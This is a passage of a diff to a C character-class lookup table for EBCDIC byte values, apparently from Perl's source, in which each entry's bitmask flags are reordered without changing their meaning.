THORN */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xAC U+D0 I8=D7 ETH */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xAD U+DD I8=D8 Y with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xAE U+DE I8=D9 THORN */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xAF U+AE I8=DA REGISTERED */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xB0 U+5E '^' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0xB1 U+A3 I8=DB POUND */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), @@ -727,53 +727,53 @@ /* 0xBE U+B4 I8=E6 ACUTE ACCENT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), /* 0xBF U+D7 I8=E7 MULTIPLICATION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xC0 U+7B '{' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xC1 U+41 'A' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC2 U+42 'B' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC3 U+43 'C' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC4 U+44 'D' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC5 U+45 'E' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC6 U+46 'F' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* 0xC7 U+47 'G' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xC8 U+48 'H' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xC9 U+49 'I' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xC1 U+41 'A' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC2 U+42 'B' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC3 U+43 'C' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC4 U+44 'D' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC5 U+45 'E' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC6 U+46 'F' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC7 U+47 'G' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC8 U+48 'H' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xC9 U+49 'I' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xCA U+AD I8=E8 SOFT HYPHEN */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xCB U+F4 I8=E9 o with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCC U+F6 I8=EA o with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCD U+F2 I8=EB o with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCE U+F3 I8=EC o with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xCF U+F5 I8=ED o with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xCB U+F4 I8=E9 o with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCC U+F6 I8=EA o with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCD U+F2 I8=EB o with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCE U+F3 I8=EC o with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xCF U+F5 I8=ED o with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xD0 U+7D '}' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xD1 U+4A 'J' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD2 U+4B 'K' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD3 U+4C 'L' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD4 U+4D 'M' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD5 U+4E 'N' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD6 U+4F 'O' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD7 U+50 'P' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD8 U+51 'Q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xD9 U+52 'R' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xD1 U+4A 'J' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD2 U+4B 'K' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD3 U+4C 'L' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD4 U+4D 'M' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD5 U+4E 'N' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD6 U+4F 'O' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD7 U+50 'P' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD8 U+51 'Q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xD9 U+52 'R' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xDA U+B9 I8=EE SUPERSCRIPT 1 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), -/* 0xDB U+FB I8=EF u with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xDC U+FC I8=F0 u with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xDD U+F9 I8=F1 u with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xDE U+FA I8=F2 u with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xDF U+FF I8=F3 y with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDB U+FB I8=EF u with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xDC U+FC I8=F0 u with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0xDD U+F9 I8=F1 u with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDE U+FA I8=F2 u with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xDF U+FF I8=F3 y with diaeresis */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xE0 U+5C '\' */ 